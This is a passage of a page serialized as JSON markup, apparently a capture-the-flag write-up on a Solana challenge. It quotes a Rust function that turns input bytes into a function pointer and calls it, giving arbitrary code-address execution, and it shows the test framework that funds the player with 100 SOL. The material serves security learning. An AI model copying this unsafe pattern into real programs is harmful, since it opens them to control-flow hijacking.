78,"props":44287,"children":44288},{"start":993},[44289],{"type":24,"tag":100,"props":44290,"children":44291},{},[44292,44294,44300],{"type":30,"value":44293},"Finally, if ",{"type":24,"tag":156,"props":44295,"children":44297},{"className":44296},[],[44298],{"type":30,"value":44299},"data[0]",{"type":30,"value":44301}," is neither 0 nor 1, a function that lets you jump to an arbitrary address, passing an arbitrary value as the first parameter is executed:",{"type":24,"tag":920,"props":44303,"children":44305},{"className":6102,"code":44304,"language":6101,"meta":7,"style":7},"#[inline(never)]\npub fn process(mut data: &[u8]) {\n    unsafe {\n        let ptr = std::mem::transmute::\u003C[u8; 8], fn(u64)>(data[..8].try_into().unwrap());\n        let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n        ptr(val);\n\n        data = &data[16..];\n\n        let ptr = std::mem::transmute::\u003C[u8; 8], fn(u64)>(data[..8].try_into().unwrap());\n        let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n        ptr(val);\n    }\n}\n",[44306],{"type":24,"tag":156,"props":44307,"children":44308},{"__ignoreMap":7},[44309,44316,44364,44375,44495,44610,44629,44636,44671,44678,44797,44912,44931,44938],{"type":24,"tag":930,"props":44310,"children":44311},{"class":932,"line":933},[44312],{"type":24,"tag":930,"props":44313,"children":44314},{"style":959},[44315],{"type":30,"value":43667},{"type":24,"tag":930,"props":44317,"children":44318},{"class":932,"line":984},[44319,44323,44327,44332,44336,44340,44344,44348,44352,44356,44360],{"type":24,"tag":930,"props":44320,"children":44321},{"style":937},[44322],{"type":30,"value":16797},{"type":24,"tag":930,"props":44324,"children":44325},{"style":937},[44326],{"type":30,"value":16802},{"type":24,"tag":930,"props":44328,"children":44329},{"style":1002},[44330],{"type":30,"value":44331}," process",{"type":24,"tag":930,"props":44333,"children":44334},{"style":959},[44335],{"type":30,"value":1010},{"type":24,"tag":930,"props":44337,"children":44338},{"style":937},[44339],{"type":30,"value":6839},{"type":24,"tag":930,"props":44341,"children":44342},{"style":1023},[44343],{"type":30,"value":18208},{"type":24,"tag":930,"props":44345,"children":44346},{"style":1158},[44347],{"type":30,"value":476},{"type":24,"tag":930,"props":44349,"children":44350},{"style":1158},[44351],{"type":30,"value":10253},{"type":24,"tag":930,"props":44353,"children":44354},{"style":959},[44355],{"type":30,"value":6849},{"type":24,"tag":930,"props":44357,"children":44358},{"style":943},[44359],{"type":30,"value":6538},{"type":24,"tag":930,"props":44361,"children":44362},{"style":959},[44363],{"type":30,"value":43712},{"type":24,"tag":930,"props":44365,"children":44366},{"class":932,"line":993},[44367,44371],{"type":24,"tag":930,"props":44368,"children":44369},{"style":937},[44370],{"type":30,"value":16940},{"type":24,"tag":930,"props":44372,"children":44373},{"style":959},[44374],{"type":30,"value":981},{"type":24,"tag":930,"props":44376,"children":44377},{"class":932,"line":1057},[44378,44382,44386,44390,44394,44398,44402,44406,44410,44414,44418,44422,44426,44430,44434,44438,44442,44446,44451,44455,44459,44463,44467,44471,44475,44479,44483,44487,44491],{"type":24,"tag":930,"props":44379,"children":44380},{"style":937},[44381],{"type":30,"value":6186},{"type":24,"tag":930,"props":44383,"children":44384},{"style":1023},[44385],{"type":30,"value":16964},{"type":24,"tag":930,"props":44387,"children":44388},{"style":1158},[44389],{"type":30,"value":6137},{"type":24,"tag":930,"props":44391,"children":44392},{"style":959},[44393],{"type":30,"value":43743},{"type":24,"tag":930,"props":44395,"children":44396},{"style":1158},[44397],{"type":30,"value":6597},{"type":24,"tag":930,"props":44399,"children":44400},{"style":959},[44401],{"type":30,"value":43752},{"type":24,"tag":930,"props":44403,"children":44404},{"style":1158},[44405],{"type":30,"value":6597},{"type":24,"tag":930,"props":44407,"children":44408},{"style":1002},[44409],{"type":30,"value":43761},{"type":24,"tag":930,"props":44411,"children":44412},{"style":1158},[44413],{"type":30,"value":6597},{"type":24,"tag":930,"props":44415,"children":44416},{"style":959},[44417],{"type":30,"value":43770},{"type":24,"tag":930,"props":44419,"children":44420},{"style":943},[44421],{"type":30,"value":6538},{"type":24,"tag":930,"props":44423,"children":44424},{"style":959},[44425],{"type":30,"value":20328},{"type":24,"tag":930,"props":44427,"children":44428},{"style":1242},[44429],{"type":30,"value":7192},{"type":24,"tag":930,"props":44431,"children":44432},{"style":959},[44433],{"type":30,"value":26162},{"type":24,"tag":930,"props":44435,"children":44436},{"style":937},[44437],{"type":30,"value":23370},{"type":24,"tag":930,"props":44439,"children":44440},{"style":959},[44441],{"type":30,"value":1010},{"type":24,"tag":930,"props":44443,"children":44444},{"style":943},[44445],{"type":30,"value":11152},{"type":24,"tag":930,"props":44447,"children":44448},{"style":959},[44449],{"type":30,"value":44450},")>(",{"type":24,"tag":930,"props":44452,"children":44453},{"style":1023},[44454],{"type":30,"value":6817},{"type":24,"tag":930,"props":44456,"children":44457},{"style":959},[44458],{"type":30,"value":6849},{"type":24,"tag":930,"props":44460,"children":44461},{"style":1158},[44462],{"type":30,"value":6173},{"type":24,"tag":930,"props":44464,"children":44465},{"style":1242},[44466],{"type":30,"value":7192},{"type":24,"tag":930,"props":44468,"children":44469},{"style":959},[44470],{"type":30,"value":18514},{"type":24,"tag":930,"props":44472,"children":44473},{"style":1158},[44474],{"type":30,"value":436},{"type":24,"tag":930,"props":44476,"children":44477},{"style":1002},[44478],{"type":30,"value":29254},{"type":24,"tag":930,"props":44480,"children":44481},{"style":959},[44482],{"type":30,"value":16986},{"type":24,"tag":930,"props":44484,"children":44485},{"style":1158},[44486],{"type":30,"value":436},{"type":24,"tag":930,"props":44488,"children":44489},{"style":1002},[44490],{"type":30,"value":6781},{"type":24,"tag":930,"props":44492,"children":44493},{"style":959},[44494],{"type":30,"value":18528},{"type":24,"tag":930,"props":44496,"children":44497},{"class":932,"line":1066},[44498,44502,44506,44510,44514,44518,44522,44526,44530,44534,44538,44542,44546,44550,44554,44558,44562,44566,44570,44574,44578,44582,44586,44590,44594,44598,44602,44606],{"type":24,"tag":930,"props":44499,"children":44500},{"style":937},[44501],{"type":30,"value":6186},{"type":24,"tag":930,"props":44503,"children":44504},{"style":1023},[44505],{"type":30,"value":43858},{"type":24,"tag":930,"props":44507,"children":44508},{"style":1158},[44509],{"type":30,"value":6137},{"type":24,"tag":930,"props":44511,"children":44512},{"style":959},[44513],{"type":30,"value":43743},{"type":24,"tag":930,"props":44515,"children":44516},{"style":1158},[44517],{"type":30,"value":6597},{"type":24,"tag":930,"props":44519,"children":44520},{"style":959},[44521],{"type":30,"value":43752},{"type":24,"tag":930,"props":44523,"children":44524},{"style":1158},[44525],{"type":30,"value":6597},{"type":24,"tag":930,"props":44527,"children":44528},{"style":1002},[44529],{"type":30,"value":43761},{"type":24,"tag":930,"props":44531,"children":44532},{"style":1158},[44533],{"type":30,"value":6597},{"type":24,"tag":930,"props":44535,"children":44536},{"style":959},[44537],{"type":30,"value":43770},{"type":24,"tag":930,"props":44539,"children":44540},{"style":943},[44541],{"type":30,"value":6538},{"type":24,"tag":930,"props":44543,"children":44544},{"style":959},[44545],{"type":30,"value":20328},{"type":24,"tag":930,"props":44547,"children":44548},{"style":1242},[44549],{"type":30,"value":7192},{"type":24,"tag":930,"props":44551,"children":44552},{"style":959},[44553],{"type":30,"value":26162},{"type":24,"tag":930,"props":44555,"children":44556},{"style":943},[44557],{"type":30,"value":11152},{"type":24,"tag":930,"props":44559,"children":44560},{"style":959},[44561],{"type":30,"value":10721},{"type":24,"tag":930,"props":44563,"children":44564},{"style":1023},[44565],{"type":30,"value":6817},{"type":24,"tag":930,"props":44567,"children":44568},{"style":959},[44569],{"type":30,"value":6849},{"type":24,"tag":930,"props":44571,"children":44572},{"style":1242},[44573],{"type":30,"value":7192},{"type":24,"tag":930,"props":44575,"children":44576},{"style":1158},[44577],{"type":30,"value":6173},{"type":24,"tag":930,"props":44579,"children":44580},{"style":1242},[44581],{"type":30,"value":43935},{"type":24,"tag":930,"props":44583,"children":44584},{"style":959},[44585],{"type":30,"value":18514},{"type":24,"tag":930,"props":44587,"children":44588},{"style":1158},[44589],{"type":30,"value":436},{"type":24,"tag":930,"props":44591,"children":44592},{"style":1002},[44593],{"type":30,"value":29254},{"type":24,"tag":930,"props":44595,"children":44596},{"style":959},[44597],{"type":30,"value":16986},{"type":24,"tag":930,"props":44599,"children":44600},{"style":1158},[44601],{"type":30,"value":436},{"type":24,"tag":930,"props":44603,"children":44604},{"style":1002},[44605],{"type":30,"value":6781},{"type":24,"tag":930,"props":44607,"children":44608},{"style":959},[44609],{"type":30,"value":18528},{"type":24,"tag":930,"props":44611,"children":44612},{"class":932,"line":1075},[44613,44617,44621,44625],{"type":24,"tag":930,"props":44614,"children":44615},{"style":1002},[44616],{"type":30,"value":43971},{"type":24,"tag":930,"props":44618,"children":44619},{"style":959},[44620],{"type":30,"value":1010},{"type":24,"tag":930,"props":44622,"children":44623},{"style":1023},[44624],{"type":30,"value":15739},{"type":24,"tag":930,"props":44626,"children":44627},{"style":959},[44628],{"type":30,"value":1278},{"type":24,"tag":930,"props":44630,"children":44631},{"class":932,"line":1122},[44632],{"type":24,"tag":930,"props":44633,"children":44634},{"emptyLinePlaceholder":16},[44635],{"type":30,"value":2412},{"type":24,"tag":930,"props":44637,"children":44638},{"class":932,"line":1131},[44639,44643,44647,44651,44655,44659,44663,44667],{"type":24,"tag":930,"props":44640,"children":44641},{"style":1023},[44642],{"type":30,"value":44141},{"type":24,"tag":930,"props":44644,"children":44645},{"style":1158},[44646],{"type":30,"value":6137},{"type":24,"tag":930,"props":44648,"children":44649},{"style":1158},[44650],{"type":30,"value":10253},{"type":24,"tag":930,"props":44652,"children":44653},{"style":1023},[44654],{"type":30,"value":6817},{"type":24,"tag":930,"props":44656,"children":44657},{"style":959},[44658],{"type":30,"value":6849},{"type":24,"tag":930,"props":44660,"children":44661},{"style":1242},[44662],{"type":30,"value":43935},{"type":24,"tag":930,"props":44664,"children":44665},{"style":1158},[44666],{"type":30,"value":6173},{"type":24,"tag":930,"props":44668,"children":44669},{"style":959},[44670],{"type":30,"value":34666},{"type":24,"tag":930,"props":44672,"children":44673},{"class":932,"line":1144},[44674],{"type":24,"tag":930,"props":44675,"children":44676},{"emptyLinePlaceholder":16},[44677],{"type":30,"value":2412},{"type":24,"tag":930,"props":44679,"children":44680},{"class":932,"line":1169},[44681,44685,44689,44693,44697,44701,44705,44709,44713,44717,44721,44725,44729,44733,44737,44741,44745,44749,44753,44757,44761,44765,44769,44773,44777,44781,44785,44789,44793],{"type":24,"tag":930,"props":44682,"children":44683},{"style":937},[44684],{"type":30,"value":6186},{"type":24,"tag":930,"props":44686,"children":44687},{"style":1023},[44688],{"type":30,"value":16964},{"type":24,"tag":930,"props":44690,"children":44691},{"style":1158},[44692],{"type":30,"value":6137},{"type":24,"tag":930,"props":44694,"children":44695},{"style":959},[44696],{"type":30,"value":43743},{"type":24,"tag":930,"props":44698,"children":44699},{"style":1158},[44700],{"type":30,"value":6597},{"type":24,"tag":930,"props":44702,"children":44703},{"style":959},[44704],{"type":30,"value":43752},{"type":24,"tag":930,"props":44706,"children":44707},{"style":1158},[44708],{"type":30,"value":6597},{"type":24,"tag":930,"props":44710,"children":44711},{"style":1002},[44712],{"type":30,"value":43761},{"type":24,"tag":930,"props":44714,"children":44715},{"style":1158},[44716],{"type":30,"value":6597},{"type":24,"tag":930,"props":44718,"children":44719},{"style":959},[44720],{"type":30,"value":43770},{"type":24,"tag":930,"props":44722,"children":44723},{"style":943},[44724],{"type":30,"value":6538},{"type":24,"tag":930,"props":44726,"children":44727},{"style":959},[44728],{"type":30,"value":20328},{"type":24,"tag":930,"props":44730,"children":44731},{"style":1242},[44732],{"type":30,"value":7192},{"type":24,"tag":930,"props":44734,"children":44735},{"style":959},[44736],{"type":30,"value":26162},{"type":24,"tag":930,"props":44738,"children":44739},{"style":937},[44740],{"type":30,"value":23370},{"type":24,"tag":930,"props":44742,"children":44743},{"style":959},[44744],{"type":30,"value":1010},{"type":24,"tag":930,"props":44746,"children":44747},{"style":943},[44748],{"type":30,"value":11152},{"type":24,"tag":930,"props":44750,"children":44751},{"style":959},[44752],{"type":30,"value":44450},{"type":24,"tag":930,"props":44754,"children":44755},{"style":1023},[44756],{"type":30,"value":6817},{"type":24,"tag":930,"props":44758,"children":44759},{"style":959},[44760],{"type":30,"value":6849},{"type":24,"tag":930,"props":44762,"children":44763},{"style":1158},[44764],{"type":30,"value":6173},{"type":24,"tag":930,"props":44766,"children":44767},{"style":1242},[44768],{"type":30,"value":7192},{"type":24,"tag":930,"props":44770,"children":44771},{"style":959},[44772],{"type":30,"value":18514},{"type":24,"tag":930,"props":44774,"children":44775},{"style":1158},[44776],{"type":30,"value":436},{"type":24,"tag":930,"props":44778,"children":44779},{"style":1002},[44780],{"type":30,"value":29254},{"type":24,"tag":930,"props":44782,"children":44783},{"style":959},[44784],{"type":30,"value":16986},{"type":24,"tag":930,"props":44786,"children":44787},{"style":1158},[44788],{"type":30,"value":436},{"type":24,"tag":930,"props":44790,"children":44791},{"style":1002},[44792],{"type":30,"value":6781},{"type":24,"tag":930,"props":44794,"children":44795},{"style":959},[44796],{"type":30,"value":18528},{"type":24,"tag":930,"props":44798,"children":44799},{"class":932,"line":1191},[44800,44804,44808,44812,44816,44820,44824,44828,44832,44836,44840,44844,44848,44852,44856,44860,44864,44868,44872,44876,44880,44884,44888,44892,44896,44900,44904,44908],{"type":24,"tag":930,"props":44801,"children":44802},{"style":937},[44803],{"type":30,"value":6186},{"type":24,"tag":930,"props":44805,"children":44806},{"style":1023},[44807],{"type":30,"value":43858},{"type":24,"tag":930,"props":44809,"children":44810},{"style":1158},[44811],{"type":30,"value":6137},{"type":24,"tag":930,"props":44813,"children":44814},{"style":959},[44815],{"type":30,"value":43743},{"type":24,"tag":930,"props":44817,"children":44818},{"style":1158},[44819],{"type":30,"value":6597},{"type":24,"tag":930,"props":44821,"children":44822},{"style":959},[44823],{"type":30,"value":43752},{"type":24,"tag":930,"props":44825,"children":44826},{"style":1158},[44827],{"type":30,"value":6597},{"type":24,"tag":930,"props":44829,"children":44830},{"style":1002},[44831],{"type":30,"value":43761},{"type":24,"tag":930,"props":44833,"children":44834},{"style":1158},[44835],{"type":30,"value":6597},{"type":24,"tag":930,"props":44837,"children":44838},{"style":959},[44839],{"type":30,"value":43770},{"type":24,"tag":930,"props":44841,"children":44842},{"style":943},[44843],{"type":30,"value":6538},{"type":24,"tag":930,"props":44845,"children":44846},{"style":959},[44847],{"type":30,"value":20328},{"type":24,"tag":930,"props":44849,"children":44850},{"style":1242},[44851],{"type":30,"value":7192},{"type":24,"tag":930,"props":44853,"children":44854},{"style":959},[44855],{"type":30,"value":26162},{"type":24,"tag":930,"props":44857,"children":44858},{"style":943},[44859],{"type":30,"value":11152},{"type":24,"tag":930,"props":44861,"children":44862},{"style":959},[44863],{"type":30,"value":10721},{"type":24,"tag":930,"props":44865,"children":44866},{"style":1023},[44867],{"type":30,"value":6817},{"type":24,"tag":930,"props":44869,"children":44870},{"style":959},[44871],{"type":30,"value":6849},{"type":24,"tag":930,"props":44873,"children":44874},{"style":1242},[44875],{"type":30,"value":7192},{"type":24,"tag":930,"props":44877,"children":44878},{"style":1158},[44879],{"type":30,"value":6173},{"type":24,"tag":930,"props":44881,"children":44882},{"style":1242},[44883],{"type":30,"value":43935},{"type":24,"tag":930,"props":44885,"children":44886},{"style":959},[44887],{"type":30,"value":18514},{"type":24,"tag":930,"props":44889,"children":44890},{"style":1158},[44891],{"type":30,"value":436},{"type":24,"tag":930,"props":44893,"children":44894},{"style":1002},[44895],{"type":30,"value":29254},{"type":24,"tag":930,"props":44897,"children":44898},{"style":959},[44899],{"type":30,"value":16986},{"type":24,"tag":930,"props":44901,"children":44902},{"style":1158},[44903],{"type":30,"value":436},{"type":24,"tag":930,"props":44905,"children":44906},{"style":1002},[44907],{"type":30,"value":6781},{"type":24,"tag":930,"props":44909,"children":44910},{"style":959},[44911],{"type":30,"value":18528},{"type":24,"tag":930,"props":44913,"children":44914},{"class":932,"line":1223},[44915,44919,44923,44927],{"type":24,"tag":930,"props":44916,"children":44917},{"style":1002},[44918],{"type":30,"value":43971},{"type":24,"tag":930,"props":44920,"children":44921},{"style":959},[44922],{"type":30,"value":1010},{"type":24,"tag":930,"props":44924,"children":44925},{"style":1023},[44926],{"type":30,"value":15739},{"type":24,"tag":930,"props":44928,"children":44929},{"style":959},[44930],{"type":30,"value":1278},{"type":24,"tag":930,"props":44932,"children":44933},{"class":932,"line":1281},[44934],{"type":24,"tag":930,"props":44935,"children":44936},{"style":959},[44937],{"type":30,"value":1840},{"type":24,"tag":930,"props":44939,"children":44940},{"class":932,"line":1313},[44941],{"type":24,"tag":930,"props":44942,"children":44943},{"style":959},[44944],{"type":30,"value":2528},{"type":24,"tag":151,"props":44946,"children":44948},{"id":44947},"test-environment",[44949],{"type":30,"value":44950},"Test Environment",{"type":24,"tag":33,"props":44952,"children":44953},{},[44954],{"type":30,"value":44955},"To understand our capabilites regarding interaction with the program and determine what is necessary to get the flag, we must analyze the test environment.",{"type":24,"tag":33,"props":44957,"children":44958},{},[44959,44961,44967],{"type":30,"value":44960},"When you connect to the server through a tcp connection, ",{"type":24,"tag":156,"props":44962,"children":44964},{"className":44963},[],[44965],{"type":30,"value":44966},"framework/src/main.rs::handle_connection",{"type":30,"value":44968}," gets executed, which does the following:",{"type":24,"tag":478,"props":44970,"children":44971},{},[44972],{"type":24,"tag":100,"props":44973,"children":44974},{},[44975],{"type":30,"value":44976},"Creates a new Solana local node",{"type":24,"tag":920,"props":44978,"children":44980},{"className":6102,"code":44979,"language":6101,"meta":7,"style":7},"let mut builder = ChallengeBuilder::try_from(socket.try_clone().unwrap()).unwrap();\nassert!(builder.add_program(\"/path/to/chall.so\", Some(chall::ID)) == chall::ID);\nlet mut chall = builder.build().await;\n",[44981],{"type":24,"tag":156,"props":44982,"children":44983},{"__ignoreMap":7},[44984,45065,45141],{"type":24,"tag":930,"props":44985,"children":44986},{"class":932,"line":933},[44987,44991,44995,45000,45004,45009,45013,45018,45022,45027,45031,45036,45040,45044,45048,45053,45057,45061],{"type":24,"tag":930,"props":44988,"children":44989},{"style":937},[44990],{"type":30,"value":14894},{"type":24,"tag":930,"props":44992,"children":44993},{"style":937},[44994],{"type":30,"value":6127},{"type":24,"tag":930,"props":44996,"children":44997},{"style":1023},[44998],{"type":30,"value":44999}," builder",{"type":24,"tag":930,"props":45001,"children":45002},{"style":1158},[45003],{"type":30,"value":6137},{"type":24,"tag":930,"props":45005,"children":45006},{"style":943},[45007],{"type":30,"value":45008}," ChallengeBuilder",{"type":24,"tag":930,"props":45010,"children":45011},{"style":1158},[45012],{"type":30,"value":6597},{"type":24,"tag":930,"props":45014,"children":45015},{"style":1002},[45016],{"type":30,"value":45017},"try_from",{"type":24,"tag":930,"props":45019,"children":45020},{"style":959},[45021],{"type":30,"value":1010},{"type":24,"tag":930,"props":45023,"children":45024},{"style":1023},[45025],{"type":30,"value":45026},"socket",{"type":24,"tag":930,"props":45028,"children":45029},{"style":1158},[45030],{"type":30,"value":436},{"type":24,"tag":930,"props":45032,"children":45033},{"style":1002},[45034],{"type":30,"value":45035},"try_clone",{"type":24,"tag":930,"props":45037,"children":45038},{"style":959},[45039],{"type":30,"value":16986},{"type":24,"tag":930,"props":45041,"children":45042},{"style":1158},[45043],{"type":30,"value":436},{"type":24,"tag":930,"props":45045,"children":45046},{"style":1002},[45047],{"type":30,"value":6781},{"type":24,"tag":930,"props":45049,"children":45050},{"style":959},[45051],{"type":30,"value":45052},"())",{"type":24,"tag":930,"props":45054,"children":45055},{"style":1158},[45056],{"type":30,"value":436},{"type":24,"tag":930,"props":45058,"children":45059},{"style":1002},[45060],{"type":30,"value":6781},{"type":24,"tag":930,"props":45062,"children":45063},{"style":959},[45064],{"type":30,"value":1310},{"type":24,"tag":930,"props":45066,"children":45067},{"class":932,"line":984},[45068,45073,45077,45082,45086,45091,45095,45100,45104,45109,45114,45118,45123,45127,45132,45136],{"type":24,"tag":930,"props":45069,"children":45070},{"style":1002},[45071],{"type":30,"value":45072},"assert!",{"type":24,"tag":930,"props":45074,"children":45075},{"style":959},[45076],{"type":30,"value":1010},{"type":24,"tag":930,"props":45078,"children":45079},{"style":1023},[45080],{"type":30,"value":45081},"builder",{"type":24,"tag":930,"props":45083,"children":45084},{"style":1158},[45085],{"type":30,"value":436},{"type":24,"tag":930,"props":45087,"children":45088},{"style":1002},[45089],{"type":30,"value":45090},"add_program",{"type":24,"tag":930,"props":45092,"children":45093},{"style":959},[45094],{"type":30,"value":1010},{"type":24,"tag":930,"props":45096,"children":45097},{"style":1270},[45098],{"type":30,"value":45099},"\"/path/to/chall.so\"",{"type":24,"tag":930,"props":45101,"children":45102},{"style":959},[45103],{"type":30,"value":962},{"type":24,"tag":930,"props":45105,"children":45106},{"style":943},[45107],{"type":30,"value":45108},"Some",{"type":24,"tag":930,"props":45110,"children":45111},{"style":959},[45112],{"type":30,"value":45113},"(chall",{"type":24,"tag":930,"props":45115,"children":45116},{"style":1158},[45117],{"type":30,"value":6597},{"type":24,"tag":930,"props":45119,"children":45120},{"style":959},[45121],{"type":30,"value":45122},"ID)) ",{"type":24,"tag":930,"props":45124,"children":45125},{"style":1158},[45126],{"type":30,"value":1239},{"type":24,"tag":930,"props":45128,"children":45129},{"style":959},[45130],{"type":30,"value":45131}," chall",{"type":24,"tag":930,"props":45133,"children":45134},{"style":1158},[45135],{"type":30,"value":6597},{"type":24,"tag":930,"props":45137,"children":45138},{"style":959},[45139],{"type":30,"value":45140},"ID);\n",{"type":24,"tag":930,"props":45142,"children":45143},{"class":932,"line":993},[45144,45148,45152,45156,45160,45164,45168,45173,45177,45181,45185],{"type":24,"tag":930,"props":45145,"children":45146},{"style":937},[45147],{"type":30,"value":14894},{"type":24,"tag":930,"props":45149,"children":45150},{"style":937},[45151],{"type":30,"value":6127},{"type":24,"tag":930,"props":45153,"children":45154},{"style":1023},[45155],{"type":30,"value":45131},{"type":24,"tag":930,"props":45157,"children":45158},{"style":1158},[45159],{"type":30,"value":6137},{"type":24,"tag":930,"props":45161,"children":45162},{"style":1023},[45163],{"type":30,"value":44999},{"type":24,"tag":930,"props":45165,"children":45166},{"style":1158},[45167],{"type":30,"value":436},{"type":24,"tag":930,"props":45169,"children":45170},{"style":1002},[45171],{"type":30,"value":45172},"build",{"type":24,"tag":930,"props":45174,"children":45175},{"style":959},[45176],{"type":30,"value":16986},{"type":24,"tag":930,"props":45178,"children":45179},{"style":1158},[45180],{"type":30,"value":436},{"type":24,"tag":930,"props":45182,"children":45183},{"style":1079},[45184],{"type":30,"value":36004},{"type":24,"tag":930,"props":45186,"children":45187},{"style":959},[45188],{"type":30,"value":5539},{"type":24,"tag":478,"props":45190,"children":45191},{"start":984},[45192],{"type":24,"tag":100,"props":45193,"children":45194},{},[45195],{"type":30,"value":45196},"Funds the user account with 100 SOL",{"type":24,"tag":920,"props":45198,"children":45200},{"className":6102,"code":45199,"language":6101,"meta":7,"style":7},"let user_keypair = Keypair::new();\nlet user = user_keypair.pubkey();\n\nlet payer_keypair = &chall.ctx.payer;\nlet payer = payer_keypair.pubkey();\n\nchall\n    .run_ix(system_instruction::transfer(&payer, &user, 100_000_000_000))\n    .await?;\n\nwriteln!(socket, \"user: {}\", user)?;\n",[45201],{"type":24,"tag":156,"props":45202,"children":45203},{"__ignoreMap":7},[45204,45237,45269,45276,45318,45350,45357,45365,45429,45448,45455],{"type":24,"tag":930,"props":45205,"children":45206},{"class":932,"line":933},[45207,45211,45216,45220,45225,45229,45233],{"type":24,"tag":930,"props":45208,"children":45209},{"style":937},[45210],{"type":30,"value":14894},{"type":24,"tag":930,"props":45212,"children":45213},{"style":1023},[45214],{"type":30,"value":45215}," user_keypair",{"type":24,"tag":930,"props":45217,"children":45218},{"style":1158},[45219],{"type":30,"value":6137},{"type":24,"tag":930,"props":45221,"children":45222},{"style":943},[45223],{"type":30,"value":45224}," Keypair",{"type":24,"tag":930,"props":45226,"children":45227},{"style":1158},[45228],{"type":30,"value":6597},{"type":24,"tag":930,"props":45230,"children":45231},{"style":1002},[45232],{"type":30,"value":18226},{"type":24,"tag":930,"props":45234,"children":45235},{"style":959},[45236],{"type":30,"value":1310},{"type":24,"tag":930,"props":45238,"children":45239},{"class":932,"line":984},[45240,45244,45249,45253,45257,45261,45265],{"type":24,"tag":930,"props":45241,"children":45242},{"style":937},[45243],{"type":30,"value":14894},{"type":24,"tag":930,"props":45245,"children":45246},{"style":1023},[45247],{"type":30,"value":45248}," user",{"type":24,"tag":930,"props":45250,"children":45251},{"style":1158},[45252],{"type":30,"value":6137},{"type":24,"tag":930,"props":45254,"children":45255},{"style":1023},[45256],{"type":30,"value":45215},{"type":24,"tag":930,"props":45258,"children":45259},{"style":1158},[45260],{"type":30,"value":436},{"type":24,"tag":930,"props":45262,"children":45263},{"style":1002},[45264],{"type":30,"value":6660},{"type":24,"tag":930,"props":45266,"children":45267},{"style":959},[45268],{"type":30,"value":1310},{"type":24,"tag":930,"props":45270,"children":45271},{"class":932,"line":993},[45272],{"type":24,"tag":930,"props":45273,"children":45274},{"emptyLinePlaceholder":16},[45275],{"type":30,"value":2412},{"type":24,"tag":930,"props":45277,"children":45278},{"class":932,"line":1057},[45279,45283,45288,45292,45296,45301,45305,45309,45313],{"type":24,"tag":930,"props":45280,"children":45281},{"style":937},[45282],{"type":30,"value":14894},{"type":24,"tag":930,"props":45284,"children":45285},{"style":1023},[45286],{"type":30,"value":45287}," payer_keypair",{"type":24,"tag":930,"props":45289,"children":45290},{"style":1158},[45291],{"type":30,"value":6137},{"type":24,"tag":930,"props":45293,"children":45294},{"style":1158},[45295],{"type":30,"value":10253},{"type":24,"tag":930,"props":45297,"children":45298},{"style":1023},[45299],{"type":30,"value":45300},"chall",{"type":24,"tag":930,"props":45302,"children":45303},{"style":1158},[45304],{"type":30,"value":436},{"type":24,"tag":930,"props":45306,"children":45307},{"style":959},[45308],{"type":30,"value":23384},{"type":24,"tag":930,"props":45310,"children":45311},{"style":1158},[45312],{"type":30,"value":436},{"type":24,"tag":930,"props":45314,"children":45315},{"style":959},[45316],{"type":30,"value":45317},"payer;\n",{"type":24,"tag":930,"props":45319,"children":45320},{"class":932,"line":1066},[45321,45325,45330,45334,45338,45342,45346],{"type":24,"tag":930,"props":45322,"children":45323},{"style":937},[45324],{"type":30,"value":14894},{"type":24,"tag":930,"props":45326,"children":45327},{"style":1023},[45328],{"type":30,"value":45329}," payer",{"type":24,"tag":930,"props":45331,"children":45332},{"style":1158},[45333],{"type":30,"value":6137},{"type":24,"tag":930,"props":45335,"children":45336},{"style":1023},[45337],{"type":30,"value":45287},{"type":24,"tag":930,"props":45339,"children":45340},{"style":1158},[45341],{"type":30,"value":436},{"type":24,"tag":930,"props":45343,"children":45344},{"style":1002},[45345],{"type":30,"value":6660},{"type":24,"tag":930,"props":45347,"children":45348},{"style":959},[45349],{"type":30,"value":1310},{"type":24,"tag":930,"props":45351,"children":45352},{"class":932,"line":1075},[45353],{"type":24,"tag":930,"props":45354,"children":45355},{"emptyLinePlaceholder":16},[45356],{"type":30,"value":2412},{"type":24,"tag":930,"props":45358,"children":45359},{"class":932,"line":1122},[45360],{"type":24,"tag":930,"props":45361,"children":45362},{"style":1023},[45363],{"type":30,"value":45364},"chall\n",{"type":24,"tag":930,"props":45366,"children":45367},{"class":932,"line":1131},[45368,45373,45378,45383,45387,45391,45395,45399,45404,45408,45412,45416,45420,45425],{"type":24,"tag":930,"props":45369,"children":45370},{"style":1158},[45371],{"type":30,"value":45372},"    .",{"type":24,"tag":930,"props":45374,"children":45375},{"style":1002},[45376],{"type":30,"value":45377},"run_ix",{"type":24,"tag":930,"props":45379,"children":45380},{"style":959},[45381],{"type":30,"value":45382},"(system_instruction",{"type":24,"tag":930,"props":45384,"children":45385},{"style":1158},[45386],{"type":30,"value":6597},{"type":24,"tag":930,"props":45388,"children":45389},{"style":1002},[45390],{"type":30,"value":35213},{"type":24,"tag":930,"props":45392,"children":45393},{"style":959},[45394],{"type":30,"value":1010},{"type":24,"tag":930,"props":45396,"children":45397},{"style":1158},[45398],{"type":30,"value":6230},{"type":24,"tag":930,"props":45400,"children":45401},{"style":1023},[45402],{"type":30,"value":45403},"payer",{"type":24,"tag":930,"props":45405,"children":45406},{"style":959},[45407],{"type":30,"value":962},{"type":24,"tag":930,"props":45409,"children":45410},{"style":1158},[45411],{"type":30,"value":6230},{"type":24,"tag":930,"props":45413,"children":45414},{"style":1023},[45415],{"type":30,"value":23336},{"type":24,"tag":930,"props":45417,"children":45418},{"style":959},[45419],{"type":30,"value":962},{"type":24,"tag":930,"props":45421,"children":45422},{"style":1242},[45423],{"type":30,"value":45424},"100_000_000_000",{"type":24,"tag":930,"props":45426,"children":45427},{"style":959},[45428],{"type":30,"value":22815},{"type":24,"tag":930,"props":45430,"children":45431},{"class":932,"line":1144},[45432,45436,45440,45444],{"type":24,"tag":930,"props":45433,"children":45434},{"style":1158},[45435],{"type":30,"value":45372},{"type":24,"tag":930,"props":45437,"children":45438},{"style":1079},[45439],{"type":30,"value":36004},{"type":24,"tag":930,"props":45441,"children":45442},{"style":1158},[45443],{"type":30,"value":5347},{"type":24,"tag":930,"props":45445,"children":45446},{"style":959},[45447],{"type":30,"value":5539},{"type":24,"tag":930,"props":45449,"children":45450},{"class":932,"line":1169},[45451],{"type":24,"tag":930,"props":45452,"children":45453},{"emptyLinePlaceholder":16},[45454],{"type":30,"value":2412},{"type":24,"tag":930,"props":45456,"children":45457},{"class":932,"line":1191},[45458,45463,45467,45471,45475,45480,45484,45488,45492,45496],{"type":24,"tag":930,"props":45459,"children":45460},{"style":1002},[45461],{"type":30,"v